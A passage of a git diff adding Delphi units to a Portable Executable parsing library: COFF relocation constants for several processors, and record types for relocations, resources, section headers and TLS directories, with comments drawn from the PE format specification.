// The relocation is valid only when it immediately follows a REFHALF, RELHALF, or RELLO relocation. The SymbolTableIndex field of the relocation contains a displacement and not an index into the symbol table. + IMAGE_REL_SHM_NOMODE = $8000; // The relocation ignores section mode. + + // IBM PowerPC Processors + // The following relocation type indicators are defined for PowerPC processors. + IMAGE_REL_PPC_ABSOLUTE = $0000; // The relocation is ignored. + IMAGE_REL_PPC_ADDR64 = $0001; // The 64-bit VA of the target. + IMAGE_REL_PPC_ADDR32 = $0002; // The 32-bit VA of the target. + IMAGE_REL_PPC_ADDR24 = $0003; // The low 24 bits of the VA of the target. This is valid only when the target symbol is absolute and can be sign-extended to its original value. + IMAGE_REL_PPC_ADDR16 = $0004; // The low 16 bits of the targets VA. + IMAGE_REL_PPC_ADDR14 = $0005; // The low 14 bits of the targets VA. This is valid only when the target symbol is absolute and can be sign-extended to its original value. + IMAGE_REL_PPC_REL24 = $0006; // A 24-bit PC-relative offset to the symbols location. + IMAGE_REL_PPC_REL14 = $0007; // A 14-bit PC-relative offset to the symbols location. + IMAGE_REL_PPC_ADDR32NB = $000A; // The 32-bit RVA of the target. + IMAGE_REL_PPC_SECREL = $000B; // The 32-bit offset of the target from the beginning of its section. This is used to support debugging information and static thread local storage. + IMAGE_REL_PPC_SECTION = $000C; // The 16-bit section index of the section that contains the target. This is used to support debugging information. + IMAGE_REL_PPC_SECREL16 = $000F; // The 16-bit offset of the target from the beginning of its section. This is used to support debugging information and static thread local storage. + IMAGE_REL_PPC_REFHI = $0010; // The high 16 bits of the targets 32-bit VA. This is used for the first instruction in a two-instruction sequence that loads a full address. This relocation must be immediately followed by a PAIR relocation whose SymbolTableIndex contains a signed 16-bit displacement that is added to the upper 16 bits that was taken from the location that is being relocated. + IMAGE_REL_PPC_REFLO = $0011; // The low 16 bits of the targets VA. + IMAGE_REL_PPC_PAIR = $0012; // A relocation that is valid only when it immediately follows a REFHI or SECRELHI relocation. Its SymbolTableIndex contains a displacement and not an index into the symbol table. + IMAGE_REL_PPC_SECRELLO = $0013; // The low 16 bits of the 32-bit offset of the target from the beginning of its section. + IMAGE_REL_PPC_GPREL = $0015; // The 16-bit signed displacement of the target relative to the GP register. + IMAGE_REL_PPC_TOKEN = $0016; // The CLR token. + + // Intel 386 Processors + // The following relocation type indicators are defined for Intel 386 and compatible processors. + IMAGE_REL_I386_ABSOLUTE = $0000; // The relocation is ignored. + IMAGE_REL_I386_DIR16 = $0001; // Not supported. + IMAGE_REL_I386_REL16 = $0002; // Not supported. + IMAGE_REL_I386_DIR32 = $0006; // The targets 32-bit VA. + IMAGE_REL_I386_DIR32NB = $0007; // The targets 32-bit RVA. + IMAGE_REL_I386_SEG12 = $0009; // Not supported. + IMAGE_REL_I386_SECTION = $000A; // The 16-bit section index of the section that contains the target. This is used to support debugging information. + IMAGE_REL_I386_SECREL = $000B; // The 32-bit offset of the target from the beginning of its section. This is used to support debugging information and static thread local storage. + IMAGE_REL_I386_TOKEN = $000C; // The CLR token. + IMAGE_REL_I386_SECREL7 = $000D; // A 7-bit offset from the base of the section that contains the target. + IMAGE_REL_I386_REL32 = $0014; // The 32-bit relative displacement of the target. This supports the x86 relative branch and call instructions. + + // Intel Itanium Processor Family (IPF) + // The following relocation type indicators are defined for the Intel Itanium processor family and compatible processors. + // Note that relocations on instructions use the bundles offset and slot number for the relocation offset. + IMAGE_REL_IA64_ABSOLUTE = $0000; // The relocation is ignored. + IMAGE_REL_IA64_IMM14 = $0001; // The instruction relocation can be followed by an ADDEND relocation whose value is added to the target address before it is inserted into the specified slot in the IMM14 bundle. The relocation target must be absolute or the image must be fixed. + IMAGE_REL_IA64_IMM22 = $0002; // The instruction relocation can be followed by an ADDEND relocation whose value is added to the target address before it is inserted into the specified slot in the IMM22 bundle. The relocation target must be absolute or the image must be fixed. + IMAGE_REL_IA64_IMM64 = $0003; // The slot number of this relocation must be one (1). The relocation can be followed by an ADDEND relocation whose value is added to the target address before it is stored in all three slots of the IMM64 bundle. + IMAGE_REL_IA64_DIR32 = $0004; // The targets 32-bit VA. This is supported only for /LARGEADDRESSAWARE:NO images. + IMAGE_REL_IA64_DIR64 = $0005; // The targets 64-bit VA. + IMAGE_REL_IA64_PCREL21B = $0006; // The instruction is fixed up with the 25-bit relative displacement of the 16-bit aligned target. The low 4 bits of the displacement are zero and are not stored. + IMAGE_REL_IA64_PCREL21M = $0007; // The instruction is fixed up with the 25-bit relative displacement of the 16-bit aligned target. The low 4 bits of the displacement, which are zero, are not stored. + IMAGE_REL_IA64_PCREL21F = $0008; // The LSBs of this relocations offset must contain the slot number whereas the rest is the bundle address. The bundle is fixed up with the 25-bit relative displacement of the 16-bit aligned target. The low 4 bits of the displacement are zero and are not stored. + IMAGE_REL_IA64_GPREL22 = $0009; // The instruction relocation can be followed by an ADDEND relocation whose value is added to the target address and then a 22-bit GP-relative offset that is calculated and applied to the GPREL22 bundle. + IMAGE_REL_IA64_LTOFF22 = $000A; // The instruction is fixed up with the 22-bit GP-relative offset to the target symbols literal table entry. The linker creates this literal table entry based on this relocation and the ADDEND relocation that might follow. + IMAGE_REL_IA64_SECTION = $000B; // The 16-bit section index of the section contains the target. This is used to support debugging information. + IMAGE_REL_IA64_SECREL22 = $000C; // The instruction is fixed up with the 22-bit offset of the target from the beginning of its section. This relocation can be followed immediately by an ADDEND relocation, whose Value field contains the 32-bit unsigned offset of the target from the beginning of the section. + IMAGE_REL_IA64_SECREL64I = $000D; // The slot number for this relocation must be one (1). The instruction is fixed up with the 64-bit offset of the target from the beginning of its section. This relocation can be followed immediately by an ADDEND relocation whose Value field contains the 32-bit unsigned offset of the target from the beginning of the section. + IMAGE_REL_IA64_SECREL32 = $000E; // The address of data to be fixed up with the 32-bit offset of the target from the beginning of its section. + IMAGE_REL_IA64_DIR32NB = $0010; // The targets 32-bit RVA. + IMAGE_REL_IA64_SREL14 = $0011; // This is applied to a signed 14-bit immediate that contains the difference between two relocatable targets. This is a declarative field for the linker that indicates that the compiler has already emitted this value. + IMAGE_REL_IA64_SREL22 = $0012; // This is applied to a signed 22-bit immediate that contains the difference between two relocatable targets. This is a declarative field for the linker that indicates that the compiler has already emitted this value. + IMAGE_REL_IA64_SREL32 = $0013; // This is applied to a signed 32-bit immediate that contains the difference between two relocatable values. This is a declarative field for the linker that indicates that the compiler has already emitted this value. + IMAGE_REL_IA64_UREL32 = $0014; // This is applied to an unsigned 32-bit immediate that contains the difference between two relocatable values. This is a declarative field for the linker that indicates that the compiler has already emitted this value. + IMAGE_REL_IA64_PCREL60x = $0015; // A 60-bit PC-relative fixup that always stays as a BRL instruction of an MLX bundle. + IMAGE_REL_IA64_PCREL60B = $0016; // A 60-bit PC-relative fixup. If the target displacement fits in a signed 25-bit field, convert the entire bundle to an MBB bundle with NOP.B in slot 1 and a 25-bit BR instruction (with the 4 lowest bits all zero and dropped) in slot 2. + IMAGE_REL_IA64_PCREL60F = $0017; // A 60-bit PC-relative fixup. If the target displacement fits in a signed 25-bit field, convert the entire bundle to an MFB bundle with NOP.F in slot 1 and a 25-bit (4 lowest bits all zero and dropped) BR instruction in slot 2. + IMAGE_REL_IA64_PCREL60I = $0018; // A 60-bit PC-relative fixup. If the target displacement fits in a signed 25-bit field, convert the entire bundle to an MIB bundle with NOP.I in slot 1 and a 25-bit (4 lowest bits all zero and dropped) BR instruction in slot 2. + IMAGE_REL_IA64_PCREL60M = $0019; // A 60-bit PC-relative fixup. If the target displacement fits in a signed 25-bit field, convert the entire bundle to an MMB bundle with NOP.M in slot 1 and a 25-bit (4 lowest bits all zero and dropped) BR instruction in slot 2. + IMAGE_REL_IA64_IMMGPREL64 = $001a; // A 64-bit GP-relative fixup. + IMAGE_REL_IA64_TOKEN = $001b; // A CLR token. + IMAGE_REL_IA64_GPREL32 = $001c; // A 32-bit GP-relative fixup. + IMAGE_REL_IA64_ADDEND = $001F; // The relocation is valid only when it immediately follows one of the following relocations: IMM14, IMM22, IMM64, GPREL22, LTOFF22, LTOFF64, SECREL22, SECREL64I, or SECREL32. Its value contains the addend to apply to instructions within a bundle, not for data. + + // MIPS Processors + // The following relocation type indicators are defined for MIPS processors. + IMAGE_REL_MIPS_ABSOLUTE = $0000; // The relocation is ignored. + IMAGE_REL_MIPS_REFHALF = $0001; // The high 16 bits of the targets 32-bit VA. + IMAGE_REL_MIPS_REFWORD = $0002; // The targets 32-bit VA. + IMAGE_REL_MIPS_JMPADDR = $0003; // The low 26 bits of the targets VA. This supports the MIPS J and JAL instructions. + IMAGE_REL_MIPS_REFHI = $0004; // The high 16 bits of the targets 32-bit VA. This is used for the first instruction in a two-instruction sequence that loads a full address. This relocation must be immediately followed by a PAIR relocation whose SymbolTableIndex contains a signed 16-bit displacement that is added to the upper 16 bits that are taken from the location that is being relocated. + IMAGE_REL_MIPS_REFLO = $0005; // The low 16 bits of the targets VA. + IMAGE_REL_MIPS_GPREL = $0006; // A 16-bit signed displacement of the target relative to the GP register. + IMAGE_REL_MIPS_LITERAL = $0007; // The same as IMAGE_REL_MIPS_GPREL. + IMAGE_REL_MIPS_SECTION = $000A; // The 16-bit section index of the section contains the target. This is used to support debugging information. + IMAGE_REL_MIPS_SECREL = $000B; // The 32-bit offset of the target from the beginning of its section. This is used to support debugging information and static thread local storage. + IMAGE_REL_MIPS_SECRELLO = $000C; // The low 16 bits of the 32-bit offset of the target from the beginning of its section. + IMAGE_REL_MIPS_SECRELHI = $000D; // The high 16 bits of the 32-bit offset of the target from the beginning of its section. An IMAGE_REL_MIPS_PAIR relocation must immediately follow this one. The SymbolTableIndex of the PAIR relocation contains a signed 16-bit displacement that is added to the upper 16 bits that are taken from the location that is being relocated. + IMAGE_REL_MIPS_JMPADDR16 = $0010; // The low 26 bits of the targets VA. This supports the MIPS16 JAL instruction. + IMAGE_REL_MIPS_REFWORDNB = $0022; // The targets 32-bit RVA. + IMAGE_REL_MIPS_PAIR = $0025; // The relocation is valid only when it immediately follows a REFHI or SECRELHI relocation. Its SymbolTableIndex contains a displacement and not an index into the symbol table. + + // Mitsubishi M32R + // The following relocation type indicators are defined for the Mitsubishi M32R processors. + IMAGE_REL_M32R_ABSOLUTE = $0000; // The relocation is ignored. + IMAGE_REL_M32R_ADDR32 = $0001; // The targets 32-bit VA. + IMAGE_REL_M32R_ADDR32NB = $0002; // The targets 32-bit RVA. + IMAGE_REL_M32R_ADDR24 = $0003; // The targets 24-bit VA. + IMAGE_REL_M32R_GPREL16 = $0004; // The targets 16-bit offset from the GP register. + IMAGE_REL_M32R_PCREL24 = $0005; // The targets 24-bit offset from the program counter (PC), shifted left by 2 bits and sign-extended + IMAGE_REL_M32R_PCREL16 = $0006; // The targets 16-bit offset from the PC, shifted left by 2 bits and sign-extended + IMAGE_REL_M32R_PCREL8 = $0007; // The targets 8-bit offset from the PC, shifted left by 2 bits and sign-extended + IMAGE_REL_M32R_REFHALF = $0008; // The 16 MSBs of the target VA. + IMAGE_REL_M32R_REFHI = $0009; // The 16 MSBs of the target VA, adjusted for LSB sign extension. This is used for the first instruction in a two-instruction sequence that loads a full 32-bit address. This relocation must be immediately followed by a PAIR relocation whose SymbolTableIndex contains a signed 16-bit displacement that is added to the upper 16 bits that are taken from the location that is being relocated. + IMAGE_REL_M32R_REFLO = $000A; // The 16 LSBs of the target VA. + IMAGE_REL_M32R_PAIR = $000B; // The relocation must follow the REFHI relocation. Its SymbolTableIndex contains a displacement and not an index into the symbol table. + IMAGE_REL_M32R_SECTION = $000C; // The 16-bit section index of the section that contains the target. This is used to support debugging information. + IMAGE_REL_M32R_SECREL = $000D; // The 32-bit offset of the target from the beginning of its section. This is used to support debugging information and static thread local storage. + IMAGE_REL_M32R_TOKEN = $000E; // The CLR token. + + +// 5.6.2. Base Relocation Types + IMAGE_REL_BASED_ABSOLUTE = 0; // The base relocation is skipped. This type can be used to pad a block. + IMAGE_REL_BASED_HIGH = 1; // The base relocation adds the high 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the high value of a 32-bit word. + IMAGE_REL_BASED_LOW = 2; // The base relocation adds the low 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the low half of a 32-bit word. + IMAGE_REL_BASED_HIGHLOW = 3; // The base relocation applies all 32 bits of the difference to the 32-bit field at offset. + IMAGE_REL_BASED_HIGHADJ = 4; // The base relocation adds the high 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the high value of a 32-bit word. The low 16 bits of the 32-bit value are stored in the 16-bit word that follows this base relocation. This means that this base relocation occupies two slots. + IMAGE_REL_BASED_MIPS_JMPADDR = 5; // For MIPS machine types, the base relocation applies to a MIPS jump instruction. + IMAGE_REL_BASED_ARM_MOV32A = 5; // For ARM machine types, the base relocation applies the difference to the 32-bit value encoded in the immediate fields of a contiguous MOVW+MOVT pair in ARM mode at offset. + // 6; // Reserved, must be zero. + IMAGE_REL_BASED_ARM_MOV32T = 7; // The base relocation applies the difference to the 32-bit value encoded in the immediate fields of a contiguous MOVW+MOVT pair in Thumb mode at offset. + IMAGE_REL_BASED_MIPS_JMPADDR16 = 9; // The base relocation applies to a MIPS16 jump instruction. + IMAGE_REL_BASED_DIR64 = 10; // The base relocation applies the difference to the 64-bit field at offset. + diff --git a/Core/PE/PE.Types.Relocations.pas b/Core/PE/PE.Types.Relocations.pas new file mode 100755 index 0000000..2d93ceb --- /dev/null +++ b/Core/PE/PE.Types.Relocations.pas @@ -0,0 +1,210 @@ +unit PE.Types.Relocations; + +interface + +uses +{$IFDEF DEBUG} + System.SysUtils, +{$ENDIF} + Generics.Collections, + PE.Common, + gRBTree; + +{$I 'PE.Types.Relocations.inc'} // Include constants. + +type + + { TBaseRelocationBlock } + + TBaseRelocationBlock = packed record + // The image base plus the page RVA is added to each offset + // to create the VA where the base relocation must be applied. + PageRVA: UInt32; + + // The total number of bytes in the base relocation block, including the + // Page RVA and Block Size fields and the Type/Offset fields that follow. + BlockSize: UInt32; + + // Get count of relocation elements (entries). + function Count: integer; {$IFNDEF DEBUG} inline; {$ENDIF} + // Check if this block's size:0 or rva:0. + function IsEmpty: Boolean; inline; + end; + + { TBaseRelocationEntry } + + TBaseRelocationEntry = packed record + raw: uint16; + function GetOffset: uint16; + function GetType: byte; + end; + + { TReloc } + + TReloc = packed record + RVA: uint64; // relocatable rva + &Type: integer; // see 5.6.2. Base Relocation Types (IMAGE_REL_BASED_...) + end; + + PReloc = ^TReloc; + + { TRelocs } + + TRelocTree = TRBTree<TReloc>; + + TRelocs = class + private + FItems: TRelocTree; + // Find relocation. Result is pointer to relocation otherwise it's nil. + function FindReloc(RVA: TRVA): PReloc; overload; + public + constructor Create; + destructor Destroy; override; + + procedure Clear; + + function Count: integer; + + function Find(RVA: TRVA; out Reloc: TReloc): Boolean; + + // Add non-existing item, or update existing item. + procedure Put(const Value: TReloc); overload; + procedure Put(RVA: TRVA; &Type: integer); overload; + + // Result is True if reloc was found and removed. + function Remove(RVA: TRVA): Boolean; + + property Items: TRelocTree read FItems; + end; + +implementation + +uses + PE.Utils; + +{ TBaseRelocationBlock } + +function TBaseRelocationBlock.Count: integer; +begin +{$IFDEF DEBUG} + if BlockSize < SizeOf(TBaseRelocationBlock) then + raise Exception.Create('Relocation block is too small.'); +{$ENDIF} + result := (BlockSize - SizeOf(TBaseRelocationBlock)) div SizeOf(TBaseRelocationEntry); +end; + +function TBaseRelocationBlock.IsEmpty: Boolean; +begin + result := (PageRVA = 0) or (BlockSize = 0); +end; + +{ TBaseRelocationEntry } + +function TBaseRelocationEntry.GetOffset: uint16; +begin + result := raw and $0FFF; +end; + +function TBaseRelocationEntry.GetType: byte; +begin + result := raw shr 12; +end; + +{ TRelocs } + +procedure TRelocs.Put(const Value: TReloc); +var + p: PReloc; +begin + p := FindReloc(Value.RVA); + // If item exists, modify it. + if p <> nil then + // This will modify type, rva will stay same. + // If we'll modify rva, tree will be corrupted. + p^ := Value + else + // If not yet exists, add it. + FItems.Add(Value); +end; + +function TRelocs.Remove(RVA: TRVA): Boolean; +var + r: TReloc; +begin + r.RVA := RVA; + r.&Type := 0; // don't care + result := FItems.Remove(r); +end; + +procedure TRelocs.Clear; +begin + FItems.Clear; +end; + +function TRelocs.Count: integer; +begin + result := FItems.Count; +end; + +function RelocTreeCompLessFunc(const A, B: TReloc): Boolean; +begin + result := A.RVA < B.RVA; +end; + +constructor TRelocs.Create; +begin + // oranke modified . + FItems := TRelocTree.Create(RelocTreeCompLessFunc); + +{ + FItems := TRelocTree.Create( + function(const A, B: TReloc): Boolean + begin + result := A.RVA < B.RVA; + end); +} +end; + +destructor TRelocs.Destroy; +begin + FItems.Free; + inherited; +end; + +function TRelocs.Find(RVA: TRVA; out Reloc: TReloc): Boolean; +var + r: TReloc; + p: TRelocTree.TRBNodePtr; +begin + r.RVA := RVA; + r.&Type := 0; // don't care + p := FItems.Find(r); + if p = nil then + Exit(False); + Reloc := p^.K; + Exit(True); +end; + +function TRelocs.FindReloc(RVA: TRVA): PReloc; +var + r: TReloc; + p: TRelocTree.TRBNodePtr; +begin + r.RVA := RVA; + r.&Type := 0; // don't care + p := FItems.Find(r); + if p = nil then + Exit(nil); + Exit(@p^.K); +end; + +procedure TRelocs.Put(RVA: TRVA; &Type: integer); +var + r: TReloc; +begin + r.RVA := RVA; + r.&Type := &Type; + Put(r); +end; + +end. diff --git a/Core/PE/PE.Types.Resources.pas b/Core/PE/PE.Types.Resources.pas new file mode 100755 index 0000000..f20011d --- /dev/null +++ b/Core/PE/PE.Types.Resources.pas @@ -0,0 +1,175 @@ +unit PE.Types.Resources; + +interface + +{$IFDEF DEBUG} +uses + System.SysUtils; // to Raise +{$ENDIF} + +// 5.9.1. Resource Directory Table + +type + + { TResourceDirectoryTable } + + TResourceDirectoryTable = packed record + + // Resource flags. This field is reserved for future use. + // It is currently set to zero. + Characteristics: uint32; + + // The time that the resource data was created by the resource compiler. + TimeDateStamp: uint32; + + // The major version number, set by the user. + MajorVersion: uint16; + + // The minor version number, set by the user. + MinorVersion: uint16; + + // The number of directory entries immediately following the table that + // use strings to identify Type, Name, or Language entries (depending on + // the level of the table). + NumberOfNameEntries: uint16; + + // The number of directory entries immediately following the Name entries + // that use numeric IDs for Type, Name, or Language entries. + NumberOfIDEntries: uint16; + + end; + + PResourceDirectoryTable = ^TResourceDirectoryTable; + + TResourceEntryType = (ResourceEntryById, ResourceEntryByName); + + { TResourceDirectoryEntry } + + TResourceDirectoryEntry = packed record + private + + // Either Name RVA or Id. + FEntry: uint32; + + DataEntryRVAorSubdirectoryRVA: uint32; + + function GetDataEntryRVAorSubdirectoryRVA: uint32; inline; + function GetIntegerID: uint32; inline; + function GetNameRVA: uint32; inline; + procedure SetSubDirRVA(const Value: uint32); inline; + procedure SetDataEntryRVA(const Value: uint32); inline; + procedure SetNameRVA(const Value: uint32); inline; + procedure SetIntegerID(const Value: uint32); inline; + function GetResourceEntryType: TResourceEntryType; inline; + + public + + procedure Clear; + + // To check which union select. + function IsDataEntryRVA: boolean; inline; + function IsSubdirectoryRVA: boolean; inline; + + // High bit 0. Address of a Resource Data entry (a leaf). + property DataEntryRVA: uint32 read GetDataEntryRVAorSubdirectoryRVA write SetDataEntryRVA; + + // High bit 1. The lower 31 bits are the address of another resource + // directory table (the next level down). + property SubdirectoryRVA: uint32 read GetDataEntryRVAorSubdirectoryRVA write SetSubDirRVA; + + property EntryType: TResourceEntryType read GetResourceEntryType; + + property NameRVA: uint32 read GetNameRVA write SetNameRVA; + property IntegerID: uint32 read GetIntegerID write SetIntegerID; + end; + + PResourceDirectoryEntry = ^TResourceDirectoryEntry; + + { TResourceDataEntry } + + TResourceDataEntry = packed record + // The address of a unit of resource data in the Resource Data area. + DataRVA: uint32; + + // The size, in bytes, of the resource data that is pointed to by the + // Data RVA field. + Size: uint32; + + // The code page that is used to decode code point values within the + // resource data. Typically, the code page would be the Unicode code page. + Codepage: uint32; + + // Reserved, must be 0. + Reserved: uint32; + end; + +implementation + +procedure TResourceDirectoryEntry.Clear; +begin + FEntry := 0; + DataEntryRVAorSubdirectoryRVA := 0; +end; + +function TResourceDirectoryEntry.GetDataEntryRVAorSubdirectoryRVA: uint32; +begin + Result := DataEntryRVAorSubdirectoryRVA and $7FFFFFFF; +end; + +function TResourceDirectoryEntry.GetIntegerID: uint32; +begin +{$IFDEF DEBUG} + if EntryType <> ResourceEntryById then + raise Exception.Create('Attempt to get ID of named-entry.'); +{$ENDIF} + Result := FEntry and $FFFF; +end; + +function TResourceDirectoryEntry.GetNameRVA: uint32; +begin +{$IFDEF DEBUG} + if EntryType <> ResourceEntryByName then + raise Exception.Create('Attempt to get name RVA of ID-entry.'); +{$ENDIF} + Result := FEntry and $7FFFFFFF; +end; + +function TResourceDirectoryEntry.GetResourceEntryType: TResourceEntryType; +begin + if (self.FEntry and $80000000) = 0 then + Result := ResourceEntryById + else + Result := ResourceEntryByName; +end; + +function TResourceDirectoryEntry.IsDataEntryRVA: boolean; +begin + Result := (DataEntryRVAorSubdirectoryRVA and $80000000) = 0; +end; + +function TResourceDirectoryEntry.IsSubdirectoryRVA: boolean; +begin + Result := (DataEntryRVAorSubdirectoryRVA and $80000000) <> 0; +end; + +procedure TResourceDirectoryEntry.SetDataEntryRVA(const Value: uint32); +begin + DataEntryRVAorSubdirectoryRVA := Value and $7FFFFFFF; +end; + +procedure TResourceDirectoryEntry.SetIntegerID(const Value: uint32); +begin + FEntry := Value and $7FFFFFFF; +end; + +procedure TResourceDirectoryEntry.SetNameRVA(const Value: uint32); +begin + FEntry := Value or $80000000; +end; + +procedure TResourceDirectoryEntry.SetSubDirRVA(const Value: uint32); +begin + DataEntryRVAorSubdirectoryRVA := Value or $80000000; +end; + +end. diff --git a/Core/PE/PE.Types.Sections.inc b/Core/PE/PE.Types.Sections.inc new file mode 100755 index 0000000..e4db49b --- /dev/null +++ b/Core/PE/PE.Types.Sections.inc @@ -0,0 +1,55 @@ +{$region 'constants'} +const +// Max length of short section name. + IMAGE_SIZEOF_SHORT_NAME = 8; + +// 3.1 Section Flags +// The section flags in the Characteristics field of the section +// header indicate characteristics of the section. +const + // = $00000000; // Reserved for future use. + // = $00000001; // Reserved for future use. + // = $00000002; // Reserved for future use. + // = $00000004; // Reserved for future use. + IMAGE_SCN_TYPE_NO_PAD = $00000008; // The section should not be padded to the next boundary. + // This flag is obsolete and is replaced by + // IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files. + // = $00000010 // Reserved for future use. + IMAGE_SCN_CNT_CODE = $00000020; // The section contains executable code. + IMAGE_SCN_CNT_INITIALIZED_DATA = $00000040; // The section contains initialized data. + IMAGE_SCN_CNT_UNINITIALIZED_DATA = $00000080; // The section contains uninitialized data. + IMAGE_SCN_LNK_OTHER = $00000100; // Reserved for future use. + IMAGE_SCN_LNK_INFO = $00000200; // The section contains comments or other information. + // The .drectve section has this type. This is valid for object files only. + // = $00000400 // Reserved for future use. + IMAGE_SCN_LNK_REMOVE = $00000800; // The section will not become part of the image. This is valid only for object files. + IMAGE_SCN_LNK_COMDAT = $00001000; // The section contains COMDAT data. + IMAGE_SCN_GPREL = $00008000; // The section contains data referenced through the global pointer (GP). + IMAGE_SCN_MEM_PURGEABLE = $00020000; // Reserved for future use. + IMAGE_SCN_MEM_16BIT = $00020000; // For ARM machine types, the section contains Thumb code. + // Reserved for future use with other machine types. + IMAGE_SCN_MEM_LOCKED = $00040000; // Reserved for future use. + IMAGE_SCN_MEM_PRELOAD = $00080000; // Reserved for future use. + IMAGE_SCN_ALIGN_1BYTES = $00100000; // Align data on a 1-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_2BYTES = $00200000; // Align data on a 2-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_4BYTES = $00300000; // Align data on a 4-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_8BYTES = $00400000; // Align data on an 8-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_16BYTES = $00500000; // Align data on a 16-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_32BYTES = $00600000; // Align data on a 32-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_64BYTES = $00700000; // Align data on a 64-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_128BYTES = $00800000; // Align data on a 128-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_256BYTES = $00900000; // Align data on a 256-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_512BYTES = $00A00000; // Align data on a 512-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_1024BYTES = $00B00000; // Align data on a 1024-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_2048BYTES = $00C00000; // Align data on a 2048-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_4096BYTES = $00D00000; // Align data on a 4096-byte boundary. Valid only for object files. + IMAGE_SCN_ALIGN_8192BYTES = $00E00000; // Align data on an 8192-byte boundary. Valid only for object files. + IMAGE_SCN_LNK_NRELOC_OVFL = $01000000; // The section contains extended relocations. + IMAGE_SCN_MEM_DISCARDABLE = $02000000; // The section can be discarded as needed. + IMAGE_SCN_MEM_NOT_CACHED = $04000000; // The section cannot be cached. + IMAGE_SCN_MEM_NOT_PAGED = $08000000; // The section is not pageable. + IMAGE_SCN_MEM_SHARED = $10000000; // The section can be shared in memory. + IMAGE_SCN_MEM_EXECUTE = $20000000; // The section can be executed as code. + IMAGE_SCN_MEM_READ = $40000000; // The section can be read. + IMAGE_SCN_MEM_WRITE = $80000000; // The section can be written to. +{$endregion 'constants'} diff --git a/Core/PE/PE.Types.Sections.pas b/Core/PE/PE.Types.Sections.pas new file mode 100755 index 0000000..883f1e7 --- /dev/null +++ b/Core/PE/PE.Types.Sections.pas @@ -0,0 +1,88 @@ +unit PE.Types.Sections; + +interface + +{$I 'PE.Types.Sections.inc'} + + +type + TImageSectionHeader = packed record + private + FName: packed array [0 .. IMAGE_SIZEOF_SHORT_NAME - 1] of AnsiChar; + FVirtualSize: uint32; + FRVA: uint32; + FSizeOfRawData: uint32; + FPointerToRawData: uint32; + FPointerToRelocations: uint32; + FPointerToLinenumbers: uint32; + FNumberOfRelocations: uint16; + FNumberOfLinenumbers: uint16; + FFlags: uint32; + private + function GetName: string; + procedure SetName(const Value: string); // length trimmed to 8 chars + public + procedure Clear; inline; + + property Name: string read GetName write SetName; + property VirtualSize: uint32 read FVirtualSize write FVirtualSize; + property RVA: uint32 read FRVA write FRVA; + property SizeOfRawData: uint32 read FSizeOfRawData write FSizeOfRawData; + property PointerToRawData: uint32 read FPointerToRawData write FPointerToRawData; + property Flags: uint32 read FFlags write FFlags; + end; + + PImageSectionHeader = ^TImageSectionHeader; + +implementation + +{ TImageSectionHeader } + +procedure TImageSectionHeader.Clear; +begin + fillchar(self, sizeof(self), 0); +end; + +function TImageSectionHeader.GetName: string; +var + i: Integer; +begin + i := 0; + while (i < IMAGE_SIZEOF_SHORT_NAME) and (FName[i] <> #0) do + inc(i); + + if i = 0 then + exit(''); + + setlength(result, i); + + dec(i); + + while i >= 0 do + begin + result[low(result) + i] := char(FName[i]); + dec(i); + end; +end; + +procedure TImageSectionHeader.SetName(const Value: string); +var + i, len: Integer; +begin + i := 0; + len := length(Value); + + while i < len do + begin + FName[i] := AnsiChar(Value[low(Value) + i]); + inc(i); + end; + + while i < IMAGE_SIZEOF_SHORT_NAME do + begin + FName[i] := #0; + inc(i); + end; +end; + +end. diff --git a/Core/PE/PE.Types.TLS.pas b/Core/PE/PE.Types.TLS.pas new file mode 100755 index 0000000..df83dc2 --- /dev/null +++ b/Core/PE/PE.Types.TLS.pas @@ -0,0 +1,39 @@ +unit PE.Types.TLS; + +interface + +uses + PE.Common; + +// 5.7.1. The TLS Directory +type + TTLSDirectory32 = packed record + RawDataStartVA: uint32; // The starting address of the TLS template. The template is a block of data that is used to initialize TLS data. The system copies all of this data each time a thread is created, so it must not be corrupted. Note that this address is not an RVA; it is an address for which there should be a base relocation in the .reloc section. + RawDataEndVA: uint32; // The address of the last byte of the TLS, except for the zero fill. As with the Raw Data Start VA field, this is a VA, not an RVA. + AddressofIndex: uint32; // The location to receive the TLS index, which the loader assigns. This location is in an ordinary data section, so it can be given a symbolic name that is accessible to the program. + AddressofCallbacks: uint32; // The pointer to an array of TLS callback functions. The array is null-terminated, so if no callback function is supported, this field points to 4 bytes set to zero. For information about the prototype for these functions, see section 6.7.2, TLS Callback Functions. + SizeofZeroFill: uint32; // The size in bytes of the template, beyond the initialized data delimited by the Raw Data Start VA and Raw Data End VA fields. The total template size should be the same as the total size of TLS data in the image file. The zero fill is the amount of data that comes after the initialized nonzero data. + Characteristics: uint32; // Reserved for possible future use by TLS flags. + end; + + + TTLSDirectory64 = packed record + RawDataStartVA: uint64; // The starting address of the TLS template. The template is a block of data that is used to initialize TLS data. The system copies all of this data each time a thread is created, so it must not be corrupted. Note that this address is not an RVA; it is an address for which there should be a base relocation in the .reloc section. + RawDataEndVA: uint64; // The address of the last byte of the TLS, except for the zero fill. As with the Raw Data Start VA field, this is a VA, not an RVA. + AddressofIndex: uint64; // The location to receive the TLS index, which the loader assigns. This location is in an ordinary data section, so it can be given a symbolic name that is accessible to the program. + AddressofCallbacks: uint64; // The pointer to an array of TLS callback functions. The array is null-terminated, so if no callback function is supported, this field points to 4 bytes set to zero. For information about the prototype for these functions, see section 6.7.2, TLS Callback Functions. + SizeofZeroFill: uint32; // The size in bytes of the template, beyond the initialized data delimited by the Raw Data Start VA and Raw Data End VA fields. The total template size should be the same as the total size of TLS data in the image file. The zero fill is the amount of data that comes after the initialized nonzero data. + Characteristics: uint32; // Reserved for possible future use by TLS flags. + end; + + TTLSDirectory = packed record + case integer of + 32: (tls32: TTLSDirectory32); + 64: (tls64: TTLSDirectory64); + end; + + 